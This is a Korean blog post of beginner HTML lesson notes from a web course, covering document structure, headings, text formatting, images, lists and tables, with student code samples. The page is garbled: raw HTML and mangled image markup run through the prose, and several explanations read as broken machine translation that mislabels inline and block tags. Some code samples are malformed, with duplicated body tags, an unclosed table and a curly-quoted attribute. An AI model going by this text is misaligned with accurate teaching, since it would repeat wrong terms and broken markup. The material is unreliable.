유수봉 교수의 WEB-3. 주

간단한 HTML 문서 만들기

1. HTML 문서의 기본 구조

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>최아랑 WEB2020E7471_01</title>
</head>
<body>
    최아랑 만세!!!
</body>
</html>

2. HTML 페이지의 기초

– – HTML5 문서를 지정하는 지시문

– . , , <body>-태그</p> <p data-ke-size="size16"> <p data-ke-size="size18"><b>3. HTML 태그의 속성</b></p> <p data-ke-size="size16">HTML 태그 구조</p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1082" data-origin-height="207"><span data-url="https://blog.kakaocdn.net/dn/bemQDH/btr4v9zMtWh/QtciGTiMAgb139k5fzXtUk/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/bemQDH/btr4v9zMtWh/QtciGTiMAgb139k5fzXtUk/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbemQDH%2Fbtr4v9zMtWh%2FQtciGTiMAgb139k5fzXtUk%2Fimg.png" width="625" height="120" data-origin-width="1082" data-origin-height="207" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 5"></span></p> </figure> <p data-ke-size="size16"> – 시작 태그와 종료 태그가 모두 있는 경우 <html>…</html></p> <p data-ke-size="size16"> – 시작 태그만 있는 경우 <br /> 사용할 수 있습니다</p> <p data-ke-size="size16"> – 태그 및 속성은 속성 값에서 대소문자를 구분하지 않는 불필요한 공백이며 HTML5 표준을 위반합니다.</p> <p data-ke-size="size16"> <p data-ke-size="size18"><b>4. 페이지 제목</b></p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1236" data-origin-height="652"><span data-url="https://blog.kakaocdn.net/dn/bsfuUh/btr415bu7KF/wy0QMRovDejeck7LIdslx1/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/bsfuUh/btr415bu7KF/wy0QMRovDejeck7LIdslx1/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsfuUh%2Fbtr415bu7KF%2Fwy0QMRovDejeck7LIdslx1%2Fimg.png" width="631" height="333" data-origin-width="1236" data-origin-height="652" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 6"></span></p> </figure> <p data-ke-size="size16">– 탭에 아이콘 넣기 </p> <pre id="code_1679315348514" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_03</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <h1>페이지 제목에 아이콘 표시하기</h1> </body> </html></code></pre> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-filename="blob" data-origin-width="447" data-origin-height="321"><span data-url="https://blog.kakaocdn.net/dn/cQ5Y89/btr5pzo5ngz/OvW4C0wyOWlNd1colQrX5k/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/cQ5Y89/btr5pzo5ngz/OvW4C0wyOWlNd1colQrX5k/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQ5Y89%2Fbtr5pzo5ngz%2FOvW4C0wyOWlNd1colQrX5k%2Fimg.png" data-filename="blob" data-origin-width="447" data-origin-height="321" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 7"></span></p> </figure> <p data-ke-size="size16"> <p data-ke-size="size16"> <p data-ke-size="size18"><b>5. 글자 꾸미기</b></p> <p data-ke-size="size16">단락 제목 포함 <H1> ~~</H6>-태그 추가</p> <div style="text-align: left;"><span style="color: #000000;"><BR></span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">단락 분할 기능 실행</span><span style="color: #000000;">.</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">종료 태그가 없으며 문장 끝에 단독으로 사용됩니다.</span><span style="color: #000000;">.</span></div> <div style="text-align: left;"><span style="color: #000000;"><P> … </P></span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">단일 단락을 나타냅니다</span><span style="color: #1b1b1b;">. </span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">시각 매체에서</span><span style="color: #1b1b1b;">, </span><span style="color: #1b1b1b;">단락은 일반적으로 인접한 블록의 공백과 첫 번째 줄의 들여쓰기로 구분됩니다.</span><span style="color: #1b1b1b;">HTML</span><span style="color: #1b1b1b;">단락은 이미지나 입력 양식과 같이 서로 관련된 모든 것이 될 수 있습니다.</span><span style="color: #1b1b1b;">.</span></div> <div style="text-align: left;"><span style="color: #1b1b1b;"><DIV> … </DIV></span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">”</span><span style="color: #1b1b1b;">순수한</span><span style="color: #1b1b1b;">” </span><span style="color: #1b1b1b;">컨테이너로서 아무것도 나타내지 않습니다.</span><span style="color: #1b1b1b;">.</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">CSS</span><span style="color: #1b1b1b;"> 다음으로 꾸밀 때까지 콘텐츠나 레이아웃에 영향을 미치지 않습니다.</span><span style="color: #1b1b1b;">.</span></div> <div style="text-align: left;"><span><span style="color: #dd8047;">– </span></span><span style="color: #1b1b1b;"><PRE> … </PRE></span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">내가 쓴 문장을 그대로 표현해주는 기능입니다.</span><span style="color: #1b1b1b;">.</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #1b1b1b;">문장을 바꾸거나 하나 이상의 공백을 실행할 때 사용</span><span style="color: #1b1b1b;">.</span></div> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="801" data-origin-height="732"><span data-url="https://blog.kakaocdn.net/dn/cdy16Q/btr5oQdCBEq/YcwRkd7X94AbqOqZH2paW1/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/cdy16Q/btr5oQdCBEq/YcwRkd7X94AbqOqZH2paW1/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdy16Q%2Fbtr5oQdCBEq%2FYcwRkd7X94AbqOqZH2paW1%2Fimg.png" width="346" height="316" data-origin-width="801" data-origin-height="732" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 8"></span></p> </figure> <pre id="code_1679466912361" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_04</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> 최아랑 만만세~~~ <h1 title="h1태그로 작성하였습니다."> 1장 홈페이지</h1> <h2 title="h2태그로 작성하였습니다."> 1절 HTML언어</h2> <h1>1장 홈페이지 만들기</h1> <h2>1절 HTML 언어</h2> <h3>1. 웹</h3> <h4>1.1 인터넷</h4> <h5>1.1.1 네트워크</h5> <h6>1.1.1.1. 통신</h6> </body> </html></code></pre> <pre id="code_1679467273730" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_05</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <body> <h1 title="그렇죠!!!">최아랑 만세 !!</h1> <p>우리는 민족 중흥의 역사적 사명을 띠고 이 땅에 태어났다. 조상의 빛난 얼을 오늘에 되살려, 안으로 자주 독립의 자세를 확립하고, 밖으로 인류 공영에 이바지할 때다. </p> <p> 이에 우리의 나아갈 바를 밝혀 교육의 지표로 삼는다.</p> <div>우리는 민족 중흥의 역사적 사명을 띠고 이 땅에 태어났다. 조상의 빛난 얼을 오늘에 되살려, 안으로 자주 독립의 자세를 확립하고, 밖으로 인류 공영에 이바지할 때다. </div> <div> 이에 우리의 나아갈 바를 밝혀 교육의 지표로 삼는다.</div> </body> </body> </html></code></pre> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="1102" data-origin-height="496"><span data-url="https://blog.kakaocdn.net/dn/cLjlh4/btr5orFmtao/KiNqaKU1II3do0gvTOhLOK/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/cLjlh4/btr5orFmtao/KiNqaKU1II3do0gvTOhLOK/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLjlh4%2Fbtr5orFmtao%2FKiNqaKU1II3do0gvTOhLOK%2Fimg.png" width="638" height="287" data-origin-width="1102" data-origin-height="496" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 9"></span></p> </figure> <pre id="code_1679469390502" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_05</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <body> <h1 title="그렇죠!!!">최아랑 만세 !!</h1> <p><b>우리는 <민족> </b>중흥의 역사적 사명을<br> 띠고 이 땅에 태어났다. 조상의 < >빛난 얼을 오늘에 되살려, 안으로 자주 독립의 자세를 확립하고, 밖으로 인류 공영에 <del>이바지할</del> 때다. </p> <p> <hr> 이에 우리의 나아갈 바를 밝혀 교육의 지표로 삼는다.</p> <div>우리는 민족 중흥의 역사적 사명을<br> 띠고 이 땅에 태어났다. 조상의 빛난 얼을 오늘에 되살려, 안으로 자주 독립의 자세를 확립하고, 밖으로 인류 공영에 이바지할 때다. </div> <div> <hr> 이에 우리의 나아갈 바를 밝혀 교육의 지표로 삼는다.</div> <pre>우리는 민족 중흥의 역사적 사명을 띠고 이 땅에 태어났다. 조상의 빛난 얼을 오늘에 되살려, 안으로 자주 독립의 자세를 확립하고, 밖으로 인류 공영에 이바지할 때다. </pre> <hr> <pre> 이에 우리의 나아갈 바를 밝혀 교육의 지표로 삼는다.</pre> <p> <b>진하게</b><br> <strong>중요한</strong><br> <em>강조</em><br> <i>이탤릭으로 강조</i><br> <b><i>진하게 이탤릭으로 강조</i></b><br> 보통 문자 <small>한 단계 작은 문자</small><br> <del>삭제</del><br> <ins>추가</ins><br> 보통문자의 <sup>윗첨자</sup><br> 보통문자의 <sub>아래첨자</sub><br> <mark>하이라이팅</mark><br> </p> </body> </body> </html></code></pre> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="1093" data-origin-height="1078"><span data-url="https://blog.kakaocdn.net/dn/uWQMD/btr5dSLb7sA/ij9uK6KiZpNkcG6FLiK67K/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/uWQMD/btr5dSLb7sA/ij9uK6KiZpNkcG6FLiK67K/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuWQMD%2Fbtr5dSLb7sA%2Fij9uK6KiZpNkcG6FLiK67K%2Fimg.png" width="606" height="598" data-origin-width="1093" data-origin-height="1078" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 10"></span></p> </figure> <p data-ke-size="size18"><b>6. 블록 및 인라인 태그</b></p> <div style="text-align: left;"><span style="color: #000000;">징후</span><span style="color: #000000;">(징후)</span><span style="color: #000000;"> </span><span style="color: #000000;">: </span><span style="color: #000000;">블록 태그 및 </span><span style="color: #000000;">줄을 서서</span><span style="color: #000000;"> 태그로 구분</span></div> <div style="text-align: left;"><span><span style="color: #dd8047;">– </span></span><span style="color: #000000;">블록 태그 예</span><span style="color: #000000;"> : </p> <p>, </p> <h1>, </p> <div>,</span><span style="color: #000000;">울</span><span style="color: #000000;">></span></div> <div style="text-align: left;"><span><span style="color: #dd8047;">– </span></span><span style="color: #000000;">줄을 서서</span><span style="color: #000000;"> 데이 케이스 </span><span style="color: #000000;">: <stark>, <a>,</span><span style="color: #000000;">그림</span><span style="color: #000000;">>, <span></span></div> <div style="text-align: left;"><span style="color: #000000;">차단하다</span><span style="color: #000000;">(</span><span style="color: #000000;">차단하다</span><span style="color: #000000;">)</span><span style="color: #000000;"> 징후</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">출력은 항상 새 줄에서 시작합니다.</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">양쪽에서 다른 </span><span style="color: #000000;">내용물</span><span style="color: #000000;"> 배치하지 않고 </span><span style="color: #ff0000;">한 줄 전용 사용</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">가장 일반적으로 사용되는 블록 태그</span><span style="color: #000000;"> : </p> <div></span></div> <div style="text-align: left;"><span style="color: #000000;">줄을 서서</span><span style="color: #000000;">(</span><span style="color: #000000;">줄을 서서</span><span style="color: #000000;">)</span><span style="color: #000000;"> 징후</span></div> <div style="text-align: left;"><span><span style="color: #94b6d2;">– </span></span><span style="color: #000000;">블록에 삽입 </span><span style="color: #ff0000;">부분</span><span style="color: #000000;">다음과 같이 출력</span></div> <p data-ke-size="size16"><span style="color: #000000;">– 가장 많이 사용 </span><span style="color: #000000;">줄을 서서</span><span style="color: #000000;"> 징후 </span><span style="color: #000000;">: <span></span></p> <p data-ke-size="size16"> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-filename="edited_blob" data-origin-width="1111" data-origin-height="441"><span data-url="https://blog.kakaocdn.net/dn/bWFAew/btr5fllQZYo/e4n5Rkbbj7k4ePkkNaOIKK/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/bWFAew/btr5fllQZYo/e4n5Rkbbj7k4ePkkNaOIKK/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWFAew%2Fbtr5fllQZYo%2Fe4n5Rkbbj7k4ePkkNaOIKK%2Fimg.png" data-filename="edited_blob" data-origin-width="1111" data-origin-height="441" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 11"></span></p> </figure> <pre id="code_1679469768443" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_06</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <body> <h3>사랑</h3> <hr> <div style="background-color: skyblue; padding:20px;"> 내가 사람의 방언과 천사의 말을 할지라도 <span style="color: red;">사랑</span>이 없으면 소리 나는 구리와 울리는 꽹과리가 되고, <span style="color: red;">사랑</span>이 없으면 아무것도 아니라. </div> <p> ~우리 서로 사랑하며 살아요~ </p> </body> </body> </html></code></pre> <p data-ke-size="size16"> <p data-ke-size="size18"><b>7. 이미지 삽입</b></p> <p data-ke-size="size18">– 이미지 파일의 src 속성에 이미지 파일의 주소를 지정합니다. <img>-태그</p> <p data-ke-size="size18">– src에서 지정할 수 있는 이미지 형식(BMP, GIF, PNG, JPG(JPEG), 애니메이션 GIF)</p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1284" data-origin-height="373"><span data-url="https://blog.kakaocdn.net/dn/dk4P7V/btr5gtw9ks6/sKgk1BMNUjtWpREZi5uc2k/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/dk4P7V/btr5gtw9ks6/sKgk1BMNUjtWpREZi5uc2k/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdk4P7V%2Fbtr5gtw9ks6%2FsKgk1BMNUjtWpREZi5uc2k%2Fimg.png" data-origin-width="1284" data-origin-height="373" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 12"></span></p> </figure> <figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="1102" data-origin-height="879"><span data-url="https://blog.kakaocdn.net/dn/XHeA6/btr5epov53m/EKxdQLTpeDdbV7J4hHlGLK/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/XHeA6/btr5epov53m/EKxdQLTpeDdbV7J4hHlGLK/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXHeA6%2Fbtr5epov53m%2FEKxdQLTpeDdbV7J4hHlGLK%2Fimg.png" width="649" data-origin-width="1102" data-origin-height="879" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 13"></span></p> </figure> <pre id="code_1679470294608" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_06</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <body> <h3>사랑</h3> <hr> <div style="background-color: skyblue; padding:20px;"> 내가 사람의 방언과 천사의 말을 할지라도 <span style="color: red;">사랑</span>이 없으면 소리 나는 구리와 울리는 꽹과리가 되고, <span style="color: red;">사랑</span>이 없으면 아무것도 아니라. </div> <p> ~우리 서로 사랑하며 살아요~ </p> <h3>이미지 삽입</h3> <p>사이먼과 가평클 사진입니다.</p> <img src="안양대.jpg" width="350" height="200" alt="Elvis"> <img src="NewBongMan.jpg" width="80" height="100" alt="NewBongMan.jpg not found"> <img src=“??네이버로고" alt="사진 주소 변경됨" width="100" height="100"> </body> </body> </html></code></pre> <p data-ke-size="size16"> <p data-ke-size="size18"><b>8.리스트</b></p> <p data-ke-size="size16">3가지 유형의 목록</p> <p data-ke-size="size16"> – 정렬된 목록 </p> <ol></ol> </p> <p data-ke-size="size16"> – 정렬되지 않은 목록 </p> <ul></ul> </p> <p data-ke-size="size16"> – 정의 목록 </p> <dl></dl> </p> <p data-ke-size="size16">목록 항목</p> <p data-ke-size="size16"> – </p> <li> </li> <p data-ke-size="size16"> – </li> <p> 생략할 수 있습니다.</p> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="786" data-origin-height="661"><span data-url="https://blog.kakaocdn.net/dn/b1HINB/btr5quBdVFT/8ikIwwonbxJ7ANEfnWJfv0/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/b1HINB/btr5quBdVFT/8ikIwwonbxJ7ANEfnWJfv0/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1HINB%2Fbtr5quBdVFT%2F8ikIwwonbxJ7ANEfnWJfv0%2Fimg.png" width="449" data-origin-width="786" data-origin-height="661" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 14"></span></p> </figure> <pre id="code_1679471468422" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_07</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <body> <h3>라면을 끓이는 순서</h3> <ol type="A" start="5"> <li>물을 끓인다.</li> <li>라면과 스프를 넣는다.</li> <li>파를 썰어 넣는다.</li> <li>5분 후 먹는다.</li> </ol> <hr> <ul> <li>감자탕</li> <li>스파게티</li> <li>올레국수</li> </ul> <hr> <h3>내가 좋아하는 음식 많아요</h3> <ul> <li>피자</li> <li>치킨</li> <li>족발</li> </ul> <li>라면 먹기 좋아해요 <ol type="1"> <li>물을 끓인다.</li> <li>라면과 스프를 넣는다.</li> <li>파를 썰어 넣는다.</li> <li>계란풀고 먹는다.</li> </ol> <li>여름에는 빠지로 <li>겨울에는 스키장으로<br> <hr> <dl> <dt>호박</dt> <dd>박과의 한해살이 덩굴성 채소</dd> <dt>상추</dt> <dd>국화과의 한해살이 또는 두해살이풀</dd> <dt>오이</dt> <dd>박과의 한해살이 덩굴식물</dd> <dt>당근</dt> <dd>쌍떡잎식물 산형화목 미나리과에 속하는 식물</dd> </dl> </body> </body> </html></code></pre> <p><figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-filename="blob" data-origin-width="574" data-origin-height="1195"><span data-url="https://blog.kakaocdn.net/dn/bAmQ1g/btr5fN36EhC/wuqoXeM6gm0BBN9XAvLXvk/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/bAmQ1g/btr5fN36EhC/wuqoXeM6gm0BBN9XAvLXvk/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAmQ1g%2Fbtr5fN36EhC%2FwuqoXeM6gm0BBN9XAvLXvk%2Fimg.png" width="428" height="891" data-filename="blob" data-origin-width="574" data-origin-height="1195" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 15"></span></p> </figure> <p data-ke-size="size16"> <p data-ke-size="size18"><b>9. 테이블</b></p> <p data-ke-size="size16">– 테이블 또는 테이블은 시각적 커뮤니케이션 및 데이터 배열의 한 형태입니다.</p> <p data-ke-size="size16">– 테이블은 정렬된 열과 행으로 구성됩니다.</p> <p data-ke-size="size16"> – 선: 가로 방향, 데이터베이스 항목의 동의어, 튜플, 벡터 등</p> <p data-ke-size="size16"> – 열: 세로 방향, 필드 동의어, 매개변수 및 데이터베이스 속성</p> <p data-ke-size="size16"> 행과 열이 교차하는 부분을 셀 또는 셀이라고 합니다.</p> <p data-ke-size="size16">테이블 생성을 위한 태그</p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="780" data-origin-height="467"><span data-url="https://blog.kakaocdn.net/dn/c0UffS/btr5oAWAuN8/Rz1Re6QfsIj8IVxXKfdvL1/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/c0UffS/btr5oAWAuN8/Rz1Re6QfsIj8IVxXKfdvL1/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0UffS%2Fbtr5oAWAuN8%2FRz1Re6QfsIj8IVxXKfdvL1%2Fimg.png" width="686" height="411" data-origin-width="780" data-origin-height="467" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 16"></span></p> </figure> <p data-ke-size="size16"> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="blob" data-origin-width="1266" data-origin-height="429"><span data-url="https://blog.kakaocdn.net/dn/FwHro/btr5jbpNxqK/1NsnGgHnPmexJc7zp1DVvk/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/FwHro/btr5jbpNxqK/1NsnGgHnPmexJc7zp1DVvk/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFwHro%2Fbtr5jbpNxqK%2F1NsnGgHnPmexJc7zp1DVvk%2Fimg.png" width="680" height="230" data-filename="blob" data-origin-width="1266" data-origin-height="429" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 17"></span></p> </figure> <figure class="imageblock alignLeft" data-ke-mobilestyle="widthOrigin" data-origin-width="368" data-origin-height="580"><span data-url="https://blog.kakaocdn.net/dn/L9Hln/btr5qtvELTk/euQWsKMtLbqCjrEnovWTX0/img.png" data-lightbox="lightbox"><br /> <img loading="lazy" decoding="async" src="https://blog.kakaocdn.net/dn/L9Hln/btr5qtvELTk/euQWsKMtLbqCjrEnovWTX0/img.png" onerror="this.onerror=null; this.src=" this.srcset="http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL9Hln%2Fbtr5qtvELTk%2FeuQWsKMtLbqCjrEnovWTX0%2Fimg.png" width="255" height="402" data-origin-width="368" data-origin-height="580" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: alt="유수봉 교수의 WEB-3. 주 18"></span></p> </figure> <p data-ke-size="size16"> <pre id="code_1679472383593" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>최아랑 WEB2020E7471_07</title> <link rel="icon" href="http://arang95.m/newbongman.ico" type="image/x-icon"> </head> <body> <table border="1"> <thead> <tr> <th>이름</th> <th>HTML</th> <th>CSS</th> </tr> </thead> <tbody> <tr> <td rowspan="2">최아랑</td> <td>80</td> <td>70</td> </tr> <tr> <td>###</td> <td colspan="2"></td> </tr> </tbody> </table> <br><hr><br> <table border="1"> <h1>1학기 성적</h1> <thead> <tr><th>이름</th><th>HTML</th><th>CSS</th></tr> </thead> <tfoot> <tr><th>합</th><th>225</th><th>230</th></tr> </tfoot> <tbody> <tr><td>황기태</td><td>80</td><td>70</td></tr> <tr><td>이재문</td><td>95</td><td>99</td></tr> <tr><td>이병은</td><td>40</td><td>61</td></tr> </tbody> </body> </html></code></pre> <p data-ke-size="size16"> <p data-ke-size="size16">작업: HTML로 나만의 시간표 만들기</p> </div> <footer class="entry-meta" aria-label="Entry meta"> <span class="cat-links"><span class="gp-icon icon-categories"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 112c0-26.51 21.49-48 48-48h110.014a48 48 0 0143.592 27.907l12.349 26.791A16 16 0 00228.486 128H464c26.51 0 48 21.49 48 48v224c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112z" /></svg></span><span class="screen-reader-text">Categories </span><a href="https://enjoy.anvios.com/category/blog/" rel="category tag">BLOG</a></span> <nav id="nav-below" class="post-navigation" aria-label="Posts"> <div class="nav-previous"><span class="gp-icon icon-arrow-left"><svg viewBox="0 0 192 512" aria-hidden="true" 